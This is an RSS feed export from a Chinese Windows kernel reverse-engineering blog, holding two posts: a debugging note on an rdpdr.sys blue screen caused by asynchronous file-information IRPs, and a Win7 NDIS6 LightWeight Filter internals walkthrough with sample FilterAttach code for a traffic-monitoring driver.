<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SoftRCE.net &#187; 独孤九剑（Kernel）</title>
	<atom:link href="http://www.softrce.net/archives/category/kernel/feed" rel="self" type="application/rss+xml" />
	<link>http://www.softrce.net</link>
	<description>Software Reverse Code Engineering</description>
	<lastBuildDate>Tue, 13 Sep 2011 06:58:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>RdpDr.sys Bug Check 0X7E{0xC0000005}</title>
		<link>http://www.softrce.net/archives/312</link>
		<comments>http://www.softrce.net/archives/312#comments</comments>
		<pubDate>Wed, 12 May 2010 12:54:49 +0000</pubDate>
		<dc:creator>eaglenet</dc:creator>
				<category><![CDATA[独孤九剑（Kernel）]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=312</guid>
		<description><![CDATA[公司测试组反馈一个BSOD，上下文如下 WARNING: Frame IP not in any known module. Following frames may be wrong. a99fd26c f6bdcd93 8591ec78 8591ec78 8591ec78 0&#215;0 a99fd284 f6bdd187 8591ec78 8591ec78 859ca8e0 rdpdr!RxLowIoCompletionTail+0&#215;33 a99fd298 f6bc0d2a 8591ec78 a99fd2c8 f6bc10a9 rdpdr!RxLowIoCompletion+0x3f a99fd2a4 f6bc10a9 8591ec78 00000000 00000016 rdpdr!DrDevice::CompleteRxContext+0x2a a99fd2c8 f6bb834d a99fd30c 00000000 00000016 rdpdr!DrDevice::CompleteBusyExchange+0x4d a99fd2f8 f6bc1991 e1370000 856222d8 a99fd370 rdpdr!DrDrive::OnQueryFileInfoCompletion+0x2a5 a99fd31c f6bbe6f9 e1370000 0000002a a99fd370 [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-312"></span>
<div>公司测试组反馈一个BSOD，上下文如下</div>
<div>
<div>WARNING: Frame IP not in any known module. Following frames may be wrong.</div>
<div>a99fd26c f6bdcd93 8591ec78 8591ec78 8591ec78 0&#215;0</div>
<div>a99fd284 f6bdd187 8591ec78 8591ec78 859ca8e0 rdpdr!RxLowIoCompletionTail+0&#215;33</div>
<div>a99fd298 f6bc0d2a 8591ec78 a99fd2c8 f6bc10a9 rdpdr!RxLowIoCompletion+0x3f</div>
<div>a99fd2a4 f6bc10a9 8591ec78 00000000 00000016 rdpdr!DrDevice::CompleteRxContext+0x2a</div>
<div>a99fd2c8 f6bb834d a99fd30c 00000000 00000016 rdpdr!DrDevice::CompleteBusyExchange+0x4d</div>
<div>a99fd2f8 f6bc1991 e1370000 856222d8 a99fd370 rdpdr!DrDrive::OnQueryFileInfoCompletion+0x2a5</div>
<div>a99fd31c f6bbe6f9 e1370000 0000002a a99fd370 rdpdr!DrDevice::OnDeviceIoCompletion+0xa9</div>
<div>a99fd33c f6bbe8b6 e1370000 0000002a a99fd370 rdpdr!DrExchangeManager::OnDeviceIoCompletion+0&#215;55</div>
<div>a99fd350 f6bbf543 e1370000 0000002a a99fd370 rdpdr!DrExchangeManager::HandlePacket+0&#215;26</div>
<div>a99fd37c f6bbee66 00000000 858481c3 85848150 rdpdr!DrSession::ReadCompletion+0xc5</div>
<div>a99fd394 804f26c0 00000000 85848150 85945c80 rdpdr!DrSession::ReadCompletionRoutine+0&#215;38</div>
<div>a99fd3c4 f7723864 85498628 00000000 e11cc008 nt!IopfCompleteRequest+0xa2</div>
<div>a99fd400 f772446b 85498628 00000005 00000000 termdd!IcaChannelInputInternal+0x1f4</div>
<div>a99fd428 a968b94e 85aa2fbc 00000005 00000000 termdd!IcaChannelInput+0&#215;41</div>
<div>a99fd45c a9685b25 e11cc008 00590e06 00000032 RDPWD!WDW_OnDataReceived+0&#215;180</div>
<div>a99fd484 a9685949 e11cc82c e11ce12c a99fd400 RDPWD!SM_MCSSendDataCallback+0x12d</div>
<div>a99fd4ec a9685770 00000045 a99fd524 0000004c RDPWD!HandleAllSendDataPDUs+0&#215;155</div>
<div>a99fd508 a9684632 00000045 a99fd524 806e7900 RDPWD!RecognizeMCSFrame+0&#215;32</div>
<div>a99fd530 f7727625 e11cc008 00000000 85590e38 RDPWD!MCSIcaRawInput+0x32c</div>
<div>a99fd550 f79ec1e5 85535504 00000000 85590dec termdd!IcaRawInput+0&#215;53</div>
<div>a99fdd90 f772622f 85590ca0 00000000 855acda8 TDTCP!TdInputThread+0x36f</div>
<div>a99fddac 805d0f72 85665950 00000000 00000000 termdd!_IcaDriverThread+0&#215;51</div>
<div>a99fdddc 805470ee f77261de 85463180 00000000 nt!PspSystemThreadStartup+0&#215;34</div>
<div>00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0&#215;16</div>
</div>
<div>触发行为：</div>
<div>3389连接到测试机器上，拷贝文件到测试机，测试机器直接蓝屏</div>
<div>原因：</div>
<div>MS的rdpdr本身就有一个BUG，不能处理以异步方式查询文件信息的IRP。如果上层传来一个异步查询信息的IRP，就会导致这个BSOD。这个BUG</div>
<div>直到VISTA才修补。</div>
<div>解决方法：</div>
<div>在自己初始化IRP的地方设置Irp-&gt;Flags = <span style="font-family: monospace;line-height: normal">IRP_SYNCHRONOUS_API;把IRP标志为同步IRP即可</span></div>
<div><span style="font-family: monospace;line-height: normal"><br />
</span></div>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/312">2010年05月12日</a>, 玄风残翼 writes: 我是来顶你的。</li><li><a href="http://www.softrce.net/archives/312">2010年08月6日</a>, pk8995 writes: 我X，我也碰到这事了。
必须用同步的才行，原来是个BUG……</li><li><a href="http://www.softrce.net/archives/312">2011年01月18日</a>, kkmylove writes: 留个名 顶</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/12" rel="bookmark" title="Permanent Link: About Handling Nmi">About Handling Nmi</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2009年12月27日 -- <a href="http://www.softrce.net/archives/210" title="Symbian_S60_3rd_Application_Cracking_With_IDA_Remote_Debugger_Tutorial">Symbian_S60_3rd_Application_Cracking_With_IDA_Remote_Debugger_Tutorial</a></li><li>2010年01月12日 -- <a href="http://www.softrce.net/archives/213" title="MS07-014调试手记">MS07-014调试手记</a></li><li>2008年09月30日 -- <a href="http://www.softrce.net/archives/10" title="[国庆礼]Exploiting Windows Device Drivers译文版">[国庆礼]Exploiting Windows Device Drivers译文版</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2010年02月21日 -- <a href="http://www.softrce.net/archives/256" title="Step deeply into NDIS6 LightWeight Filter, part 1">Step deeply into NDIS6 LightWeight Filter, part 1</a></li><li>2008年10月22日 -- <a href="http://www.softrce.net/archives/15" title="构造无人之境: Exploiting Realtek RTL8139单芯片以太网控制器">构造无人之境: Exploiting Realtek RTL8139单芯片以太网控制器</a></li><li>2008年11月16日 -- <a href="http://www.softrce.net/archives/19" title="[转载]在英特尔软件网络博客上看到的">[转载]在英特尔软件网络博客上看到的</a></li><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2008年10月19日 -- <a href="http://www.softrce.net/archives/13" title="[POC]基于IO Packet隐藏文件和注册表，过磁盘解析和总线解析">[POC]基于IO Packet隐藏文件和注册表，过磁盘解析和总线解析</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/312/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Step deeply into NDIS6 LightWeight Filter, part 1</title>
		<link>http://www.softrce.net/archives/256</link>
		<comments>http://www.softrce.net/archives/256#comments</comments>
		<pubDate>Sun, 21 Feb 2010 11:07:58 +0000</pubDate>
		<dc:creator>gz1x</dc:creator>
				<category><![CDATA[独孤九剑（Kernel）]]></category>
		<category><![CDATA[LightWeight Filter]]></category>
		<category><![CDATA[LWF]]></category>
		<category><![CDATA[NDIS6]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=256</guid>
		<description><![CDATA[我们从NDIS的驱动栈开始，系统在启动的时候(IoInitSystem...)会加载系统驱动，典型的比如卷过滤驱动Volsnap是从IopInitializeBootDrivers的IopInitializeBuiltinDriver中启动的，一般的Filter Driver则是在IopInitializeSystemDrivers的时候加载的，而各层的DriverEntry的顺序并一定按栈自底向上走(比如TCPIP调用NdisRegisterProtocolDriver，比Miniport的注册早)，但是各自初始化完了，NDIS会接管开始调整栈结构，依次调用Miniport的MiniportInitializeEx，LightWeight Filter的FilterAttach，到最后的Protocol的ProtocolBindAdapterEx。]]></description>
			<content:encoded><![CDATA[<p>  &#8212;&#8212;&#8212;-</p>
<p>[NOTE]: 本文基于WIN7，基于一个NDIS LWF Monitor项目。 </p>
<p>  我们从NDIS的驱动栈开始，系统在启动的时候(IoInitSystem&#8230;)会加载系统驱动，典型的比如卷过滤驱动Volsnap是从IopInitializeBootDrivers的IopInitializeBuiltinDriver中启动的，一般的Filter Driver则是在IopInitializeSystemDrivers的时候加载的，而各层的DriverEntry的顺序不一定按栈自底向上走(比如TCPIP调用NdisRegisterProtocolDriver，比Miniport的注册早)，但是各自初始化完了，NDIS会接管开始调整栈结构，依次调用Miniport的MiniportInitializeEx，LightWeight Filter的FilterAttach，到最后的Protocol的ProtocolBindAdapterEx。</p>
<p> <span id="more-256"></span></p>
<p> <span style="color: #0000ff"> <span style="text-decoration: underline">{DriverEntry}</span></span></p>
<p>  挑我们感兴趣的，LWF的DriverEntry，略过初始化全局变量，读注册表等等，剩下关键点有两个：</p>
<p>  <span style="color: #0000ff">1) NdisFRegisterFilterDriver</span></p>
<p>       NdisFRegisterFilterDriver函数本身到底做了什么？</p>
<p>        1) 填充一个NDIS_FILTER_DRIVER_BLOCK；<br />
        2) 调用SetOptionsHandler，返回成功则继续把填充的结构链接进ndisFilterDriverList；<br />
        3) 检查下层Miniport是否可以把Filter Attach上去，如果Filter都加载了，那么Queue一个BindWorkitem，让Protocol有机会进行绑定。</p>
<p>       [NOTE1]: SetOptionsHandler先于FilterAttach，是第一个被调用的入口函数。但是实际上SetOptionsHandler在目前的WIN版本中只是STUB，能做什么大家自己发掘。<br />
       [NOTE2]: NdisFRegisterFilterDriver的第四个参数是个OUT宏修饰的类型，它返回的实际上就是填充的PNDIS_FILTER_DRIVER_BLOCK。</p>
<p>  <span style="color: #0000ff">2) NdisRegisterDeviceEx</span></p>
<p>        一般情况下，驱动开发人员会在DriverEntry里创建Device方便与应用层通讯。<br />
        而在LWF的DriverEntry里，你可以使用NdisRegisterDeviceEx创建一个Root Device以供通信，典型的用途是IRP_MJ_DEVICE_CONTROL枚举所有的网络接口。</p>
<p>        值得大书一笔的是，NdisRegisterDeviceEx创建的Device，要获取DeviceExtension(开发人员定义的那部分)必须使用NdisGetDeviceReservedExtension。原因在于，NdisRegisterDeviceEx在申请Extension的空间后，会自己预先创建一个类似DeviceExtension Header的结构加在你定义的DeviceExtension前面。</p>
<p>        具体NdisRegisterDeviceEx会做什么？略过其他情况，我们只关心Filter Driver里调用这个函数。</p>
<p>        首先，它从第一个参数NdisObjectHandle(记得刚才我们说过，这个参数实际上就是一个PNDIS_FILTER_DRIVER_BLOCK)里获取DriverObject；<br />
        然后，IoCreateDevice，IoCreateSymbolicLink，之后拿到DeviceObject-&gt;DeviceExtension，填充它的开头的0xA0部分，0xA0之后是用户自己定义的部分，在偏移0&#215;14的存放着一个指针，指向0xA0之后，而NdisGetDeviceReservedExtension正是获取DeviceObject-&gt;DeviceExtension + 0&#215;14这个指针。<br />
        另外，0&#215;0偏移是个Type，被赋值为9(我不太清楚到底是什么，应该是和CDO关联的)，而传入的参数DeviceAttribute.MajorFunctions将被拷贝到偏移0&#215;18处。<br />
        在这个函数内部有个地方是要值得注意的，如果是Filter Driver调用的这个函数，那么会有这么一句：<br />
          memset(DriverObject-&gt;MajorFunction, ndisDummyIrpHandler, sizeof(DriverObject-&gt;MajorFunction));<br />
        作用显而易见，而在ndisDummyIrpHandler函数里会判断Type，是17的放过，是9的则调用DeviceExtension + 0&#215;18处的MajorFunction。</p>
<p>        之后在FilterAttach里我们会再解释上面没提到的其他偏移值，这里先Mark。</p>
<p>  /////////////////////////////////</p>
<p>  对于NDIS6 Filter来说，NDIS_FILTER_DRIVER_CHARACTERISTICS是整个Filter的主体。</p>
<p>  [NOTE]: 关于Filter状态的入口函数是必须提供的，包括：FilterAttach，FilterDetach，FilterRestart，FilterPause。</p>
<p><span style="color: #0000ff"><span style="text-decoration: underline">  {FilterAttach}</span></span></p>
<p> <span style="color: #0000ff"> Q1: FilterAttach函数的调用过程?</span></p>
<p>   撇开问题，我们先回过头去看NDIS驱动栈的构造初期，有几个函数，我们看看他们都具体做了什么：</p>
<p>     NdisRegisterProtocolDriver(NDIS6)，NdisFRegisterFilterDriver(NDIS6)，NdisMRegisterMiniportDriver(NDIS6)，NdisMRegisterMiniport，NdisIMRegisterLayeredMiniport，NdisRegisterProtocol等</p>
<p>   首先看Miniport，我们以NdisMRegisterMiniportDriver为例，NDIS5或者之前的NdisMRegisterMiniport等会调用ndisRegisterMiniportDriver，但是函数内部过程都是类似的。</p>
<p>    1) 调用IoAllocateDriverObjectExtension创建一个NDIS_M_DRIVER_BLOCK结构，填充之；<br />
    2) 填充DriverObject-&gt;MajorFunction，将ndisPnPAddDevice赋值给DriverObject-&gt;DriverExtension-&gt;AddDevice；<br />
    3) 调用SetOptionsHandler，将NDIS_M_DRIVER_BLOCK链接进ndisMiniDriverList。</p>
<p>    [NOTE]: 同样的，NdisMRegisterMiniportDriver的第四个参数NdisMiniportDriverHandle其实就是PNDIS_M_DRIVER_BLOCK*类型。</p>
<p>    而在系统启动的过程中，将由PNP Mgr负责遍历并调用各PNP驱动的AddDevice，如：</p>
<p>      nt!KiThreadStartup+0&#215;19<br />
      nt!PspSystemThreadStartup+0x9e<br />
      nt!ExpWorkerThread+0x10d<br />
      nt!PnpDeviceActionWorker+0&#215;241<br />
      nt!PiProcessStartSystemDevices+0x6d<br />
      nt!PipProcessDevNodeTree+0x15d<br />
      nt!PipCallDriverAddDevice+0&#215;565<br />
      nt!PnpCallAddDevice+0xb9<br />
      nt!PpvUtilCallAddDevice+0&#215;19<br />
      ndis!ndisPnPAddDevice+0x5db<br />
      ndis!ndisAddDevice+0x6e4</p>
<p>    我们跟进ndisAddDevice，它做的事很多很繁琐：</p>
<p>     1) IoGetDriverObjectExtension获取Driver Extension，实际上就是之前的NDIS_M_DRIVER_BLOCK结构；<br />
     2) IoCreateDevice创建设备，然后IoAttachDeviceToDeviceStack，再IoCreateSymbolicLink；<br />
     3) 获取DeviceObject-&gt;DeviceExtension，按照NDIS_MINIPORT_BLOCK结构填充之，注意这里Type被赋值为17；<br />
     4) 调用ndisInitializeConfiguration进行配置信息的填充，其内部再调用ndisReadMiniportFilterList填充LWFilterList；<br />
     5) IoRegisterDeviceInterface注册一个设备接口；<br />
     6) 将填充完的NDIS_MINIPORT_BLOCK链接进ndisMiniportList。</p>
<p>   <span style="color: #000000">然后我们看NdisRegisterProtocolDriver：</span></p>
<p>    1) 分配一个NDIS_PROTOCOL_BLOCK结构，填充之；<br />
    2) 调用SetOptionsHandler，将填充完的NDIS_PROTOCOL_BLOCK链接进ndisProtocolList；<br />
    3) 调用ndisQueueWorkItem，入队一个工作者例程ndisCheckProtocolBindings。</p>
<p>   <span style="color: #0000ff">现在我们回到问题，FilterAttach是什么时候被调用的？</span>  </p>
<p>    nt!KiThreadStartup+0&#215;19<br />
    nt!PspSystemThreadStartup+0x9e<br />
    ndis!ndisWorkerThread+0xa4<br />
    ndis!ndisCheckProtocolBindings+0x11b<br />
    ndis!ndisCheckMiniportFilters+0&#215;105<br />
    ndis!ndisAttachFilterToMiniport+0xa9b<br />
     ndisFindFilterPosition<br />
     xxx!xxxFilterAttach</p>
<p>    我们看ndisAttachFilterToMiniport，它被调用的时候是这样的：<br />
      ndisAttachFilterToMiniport(CurFilterDriver, NULL, MiniBlock);<br />
    其中，MiniBlock来自ndisMiniDriverList里的MiniportQueue，CurFilterDriver来自ndisFilterDriverList。</p>
<p>    ndisFindFilterPosition原型如下：<br />
     BOOLEAN ndisFindFilterPosition(<br />
         IN PNDIS_MINIPORT_BLOCK NdisMiniBlock,<br />
         IN PUNICODE_STRING LowerFilterName,<br />
         IN PUNICODE_STRING UniqueName,<br />
         IN UCHAR FilterFlag,<br />
         OUT PUNICODE_STRING *RetName,        <br />
         OUT PNDIS_FILTER_BLOCK *LowerFilter,<br />
         OUT PNDIS_FILTER_BLOCK *HigherFilter<br />
         );<br />
-<br />
其中RetName依次经历MiniBlock-&gt;LWFilterList -&gt; FilterInstanceName -&gt; FilterModuleGuidName。</p>
<p>    ndisAttachFilterToMiniport会创建一个NDIS_FILTER_BLOCK结构，填充之后链接进ndisGlobalFilterList。<br />
    接下来是填充FilterAttach所需要的第三个参数NDIS_FILTER_ATTACH_PARAMETERS，基本上都是来自于MiniBlock，有兴趣的可以自己跟一下。<br />
    然后调用CurFilterDriver-&gt;DefaultFilterCharacteristics.AttachHandler，第一个参数就是创建的NDIS_FILTER_BLOCK，第二个参数是CurFilterDriver-&gt;FilterDriverContext，也就是NdisFRegisterFilterDriver的第二个参数返回值。</p>
<p>  <span style="color: #0000ff">Q2: FilterAttach函数该怎么写?</span></p>
<p>   代码只为演示，请勿直接使用。</p>
<p>-<br />
    NDIS_STATUS<br />
    NetmonFilterAttach(<br />
        IN NDIS_HANDLE NdisFilterHandle,<br />
        IN NDIS_HANDLE FilterDriverContext,<br />
        IN PNDIS_FILTER_ATTACH_PARAMETERS AttachParameters<br />
        )<br />
    /*++</p>
<p>    Routine Description:</p>
<p>    Arguments:</p>
<p>    Return Value:</p>
<p>    &#8211;*/</p>
<p>    {<br />
        PMS_FILTER pFilter = NULL;<br />
        NDIS_STATUS Status = NDIS_STATUS_FAILURE;<br />
        NDIS_FILTER_ATTRIBUTES FilterAttributes;<br />
        WCHAR FilterLevel = L&#8217;0&#8242;;</p>
<p>        KdDebugIn(2);</p>
<p>        do<br />
        {<br />
            if (AttachParameters-&gt;FilterModuleGuidName-&gt;Length)<br />
            {<br />
                FilterLevel = AttachParameters-&gt;FilterModuleGuidName-&gt;Buffer[\<br />
                    ((AttachParameters-&gt;FilterModuleGuidName-&gt;Length - 1) &gt;&gt; 1)];<br />
            }</p>
<p>            if (FilterDriverContext != (NDIS_HANDLE)g_FilterDriverObject)<br />
            {<br />
                Status = NDIS_STATUS_INVALID_PARAMETER;<br />
                break;<br />
            }</p>
<p>            if (!g_AttachUpperLayers &amp;&amp; FilterLevel != L&#8217;0&#8242;)<br />
            {<br />
                if (g_NmDebug)<br />
                {<br />
                    DbgPrintEx(<br />
                        DPFLTR_IHVNETWORK_ID,<br />
                        0,<br />
                        “Discarding:%ws”,<br />
                        AttachParameters-&gt;FilterModuleGuidName-&gt;Buffer<br />
                        );<br />
                }</p>
<p>                Status = NDIS_STATUS_INVALID_PARAMETER;<br />
                break;<br />
            }</p>
<p>            if (AttachParameters-&gt;MiniportMediaType == NdisMediumWan)<br />
            {<br />
                if ((AttachParameters-&gt;BaseMiniportName-&gt;MaximumLength != 0&#215;24) ||<br />
                    (RtlCompareMemory(<br />
                    L”\\DEVICE\\NDISWANBH”,<br />
                    AttachParameters-&gt;BaseMiniportName-&gt;Buffer,<br />
                    0&#215;24) != 0&#215;24))<br />
                {<br />
                    break;<br />
                }<br />
            }<br />
            else<br />
            {<br />
                if (AttachParameters-&gt;MiniportMediaType == NdisMediumNative802_11 &amp;&amp;<br />
                    (FilterLevel != L&#8217;0&#8242;))<br />
                {<br />
                    Status = NDIS_STATUS_FAILURE;<br />
                    break;<br />
                }<br />
            }</p>
<p>            // Let&#8217;s Create Filter Modules..<br />
            //<br />
            {<br />
                if (NmCreateFilterModule(NdisFilterHandle, AttachParameters, &amp;pFilter)<br />
                    != NDIS_STATUS_SUCCESS)<br />
                {<br />
                    Status = NDIS_STATUS_RESOURCES;<br />
                    break;<br />
                }<br />
                else<br />
                {<br />
                    NdisZeroMemory(&amp;FilterAttributes, sizeof(NDIS_FILTER_ATTRIBUTES));</p>
<p>                    FilterAttributes.Header.Revision = NDIS_FILTER_ATTRIBUTES_REVISION_1;<br />
                    FilterAttributes.Header.Size = sizeof(NDIS_FILTER_ATTRIBUTES);<br />
                    FilterAttributes.Header.Type = NDIS_OBJECT_TYPE_FILTER_ATTRIBUTES;<br />
                    FilterAttributes.Flags = 0; </p>
<p>                    Status = NdisFSetAttributes(<br />
                        NdisFilterHandle,<br />
                        pFilter,<br />
                        &amp;FilterAttributes<br />
                        );<br />
                    if (Status != NDIS_STATUS_SUCCESS)<br />
                    {<br />
                        break;<br />
                    }</p>
<p>                    NmInitializeMinipInfo(AttachParameters-&gt;MiniportMediaType, pFilter);</p>
<p>                    pFilter-&gt;State = FilterPaused;<br />
                    NmInitializeTimerSystem(pFilter);</p>
<p>                    FILTER_ACQUIRE_LOCK(&amp;g_FilterListLock, FALSE);<br />
                    InsertHeadList(&amp;g_FilterModuleList, &amp;pFilter-&gt;FilterModuleLink);<br />
                    FILTER_RELEASE_LOCK(&amp;g_FilterListLock, FALSE);<br />
                }<br />
            }</p>
<p>        } while (FALSE);</p>
<p>        return Status;<br />
    }<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>    1) FilterLevel是什么意思？</p>
<p>       FilterLevel取的是FilterModuleGuidName(形如{xxx-xxxx}-0001)的最后一个字符，它代表的是Filter所在的位置，或者粗略地理解成Filter的第几个实例。<br />
       在LWF的INF安装文件里一般要设置一个注册表值，如 HKR, Ndi,FilterClass,,XXX，FilterClass决定了LWF在整个栈里的位置，具体含义大家可以参考WDK。而在WIN7上默认有另外两个LWF存在，WfpLwf是最高层的ms_firewall_upper，另一个Psched是第二层的scheduler。当再一个LWF加入的时候，可能会插在整个栈的各层，比如某LWF Monitor就可能产生如下的布局：<br />
         {701D0081-81F3-494C-BEBB-B944C752E841}-{6E022F38-AB31-44C5-8206-2EB023EFF145}-0000<br />
         {701D0081-81F3-494C-BEBB-B944C752E841}-{B5F4D659-7DAA-4565-8E41-BE220ED60542}-0000 // Psched<br />
         {701D0081-81F3-494C-BEBB-B944C752E841}-{6E022F38-AB31-44C5-8206-2EB023EFF145}-0001<br />
         {701D0081-81F3-494C-BEBB-B944C752E841}-{B70D6460-3635-4D42-B866-B8AB1A24454C}-0000 // WfpLwf<br />
         {701D0081-81F3-494C-BEBB-B944C752E841}-{6E022F38-AB31-44C5-8206-2EB023EFF145}-0002</p>
<p>这个可以在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\XXX\Linkage\FilterList下看到。</p>
<p>        从上到下对应的是驱动栈的自底向上。{6E022F38-&#8230;}对应的是某LWF Monitor，{701D0081-&#8230;}是物理网卡。</p>
<p>       这样，FilterLevel对应的就是最后的那个字符，0、1或者2。</p>
<p>    2) FilterDriverContext之前已经解释过了，就是NdisFRegisterFilterDriver的第二个参数值，可具体灵活运用。</p>
<p>    3) g_AttachUpperLayers是在DriverEntry里初始化全局变量时从注册表读取的值，由用户设置，它标志着是不是启用类似{xxx}-0001的LWF实例。一般情况下，{xxx}-0000最贴近Miniport，如果只是监视或者嗅探Miniport上的数据，那么不要上层的那些Filter也是可以的。当然，如果您的Filter不只是Monitor，那就另当别论了。</p>
<p>    4) 接下来是两个判断，如果MiniportMediaType是NdisMediumWan，我们只Attach到NDISWANBH上，其他的不关心；<br />
        而另外一种情况，NdisMediumNative802_11，无线设备没有UpperLayer，如果FilterLevel不是0，那么我们返回。</p>
<p>    5) 排除上面的几种，剩下的Miniport都是我们关心的了，我们对每个都创建一个Filter Device，Attach上去。<br />
        创建成功之后，将DeviceExtension返回，也就是pFilter。然后必须调用NdisFSetAttributes，通知Lwf Miniport，这样pFilter才能被传给其他FilterXXX入口函数。</p>
<p>    6) InitializeMinipInfo会发OID向各个Miniport查询信息，保存到pFilter，并且向Miniport发OID设置Packet Filter以捕获数据；InitializeTimerSystem设置Timer，及时报告数据接收发送的状态信息以及其他的一些定时信息。</p>
<p>    7) g_FilterModuleList链表保存着每个Filter Device的上下文信息pFilter，也就是DeviceExtension。它可以用来给Root Device的IRP_MJ_DEVICE_CONTROL派发例程提供比如枚举所有网络接口的时候需要的相关信息。</p>
<p>   至于CreateFilterModule创建Filter Device，有几点想说明的：</p>
<p>    1) Filter Device的名字可以采用”前缀+[FilterModuleGuidName]“的形式，这样方便以后区分和处理；<br />
    2) 对AttachParameters-&gt;MiniportMediaType是NdisMediumNative802_11的情况，可以在这里处理，为无线设备创建专门的结构体记录；<br />
    3) Create Device的时候，你可以使用NdisRegisterDeviceEx，这样步骤会简单很多，但是以后访问内部成员会很费力；</p>
<p>       如果想自己IoCreateDevice，那就要注意仿造NdisRegisterDeviceEx的实现，注意DeviceExtensionSize的大小。</p>
<p>       在{DriverEntry}里，已经提到几个重点，DeviceExtension Header类似下面：</p>
<p>        /*0&#215;000*/NDIS_OBJECT_HEADER   Header;<br />
       /*0&#215;004*/LIST_ENTRY           FilterModuleLink;<br />
       /*0x00C*/NDIS_HANDLE          FilterHandle;<br />
       /*0&#215;010*/PDEVICE_OBJECT       FilterDeviceObject;<br />
       /*0&#215;014*/PVOID                UserDeviceExtention;</p>
<p>       /*0&#215;018*/PDRIVER_DISPATCH     DispatchTable[IRP_MJ_MAXIMUM_FUNCTION + 1];</p>
<p>       /*0&#215;088*/NDIS_STRING          DeviceName;<br />
       /*0&#215;090*/NDIS_STRING          SymbolicLinkName;<br />
       /*0&#215;098*/NDIS_STRING          GuidName;<br />
 </p>
<p>       (1) Header.Type 必须是 9，而且DispatchTable必须在DeviceExtension + 0&#215;18处，否则派发例程将得不到执行；<br />
       (2) pFilter必须包含以上除0&#215;14外的内容，UserExtention的就具体问题具体设计了；<br />
       (3) 什么时候DestroyFilterModule，这个可以使用引用数。</p>
<p>   当然，由于本驱动的特殊性，只是个Monitor而不是Modifier，所以比如NetBufferLists、NetBuffers pool的分配管理，读取Configuration等等，都没有涉及到，可以参考WDK的内容：Attaching a Filter Module。</p>
<p>下篇继续补完其他的FilterXXX入口函数，以及接受发送数据包时候的处理。</p>
<p>&#8212;&#8212;&#8212;</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/256">2010年02月24日</a>, Lewis writes: 膜拜</li><li><a href="http://www.softrce.net/archives/256">2010年02月27日</a>, Luke writes: 可以做一些Modifier这方面的讨论与研究，比如IpDir，或者虚拟网关。</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/189" rel="bookmark" title="Permanent Link: 基于NDIS Filter 抓包">基于NDIS Filter 抓包</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2009年02月1日 -- <a href="http://www.softrce.net/archives/23" title="SoftRCE的Mail Server开通了！">SoftRCE的Mail Server开通了！</a></li><li>2010年08月3日 -- <a href="http://www.softrce.net/archives/320" title="SoftRCE官方T恤开始订购了~">SoftRCE官方T恤开始订购了~</a></li><li>2008年09月29日 -- <a href="http://www.softrce.net/archives/9" title="文章预告：Exploiting Windows Device Drivers">文章预告：Exploiting Windows Device Drivers</a></li><li>2008年11月16日 -- <a href="http://www.softrce.net/archives/19" title="[转载]在英特尔软件网络博客上看到的">[转载]在英特尔软件网络博客上看到的</a></li><li>2008年11月16日 -- <a href="http://www.softrce.net/archives/18" title="今天又地震～～">今天又地震～～</a></li><li>2010年05月7日 -- <a href="http://www.softrce.net/archives/310" title="IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization">IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization</a></li><li>2008年09月30日 -- <a href="http://www.softrce.net/archives/10" title="[国庆礼]Exploiting Windows Device Drivers译文版">[国庆礼]Exploiting Windows Device Drivers译文版</a></li><li>2008年10月9日 -- <a href="http://www.softrce.net/archives/11" title="About the SMM rootkit">About the SMM rootkit</a></li><li>2010年05月12日 -- <a href="http://www.softrce.net/archives/312" title="RdpDr.sys Bug Check 0X7E{0xC0000005}">RdpDr.sys Bug Check 0X7E{0xC0000005}</a></li><li>2010年01月12日 -- <a href="http://www.softrce.net/archives/213" title="MS07-014调试手记">MS07-014调试手记</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/256/feed</wfw:commentRss>
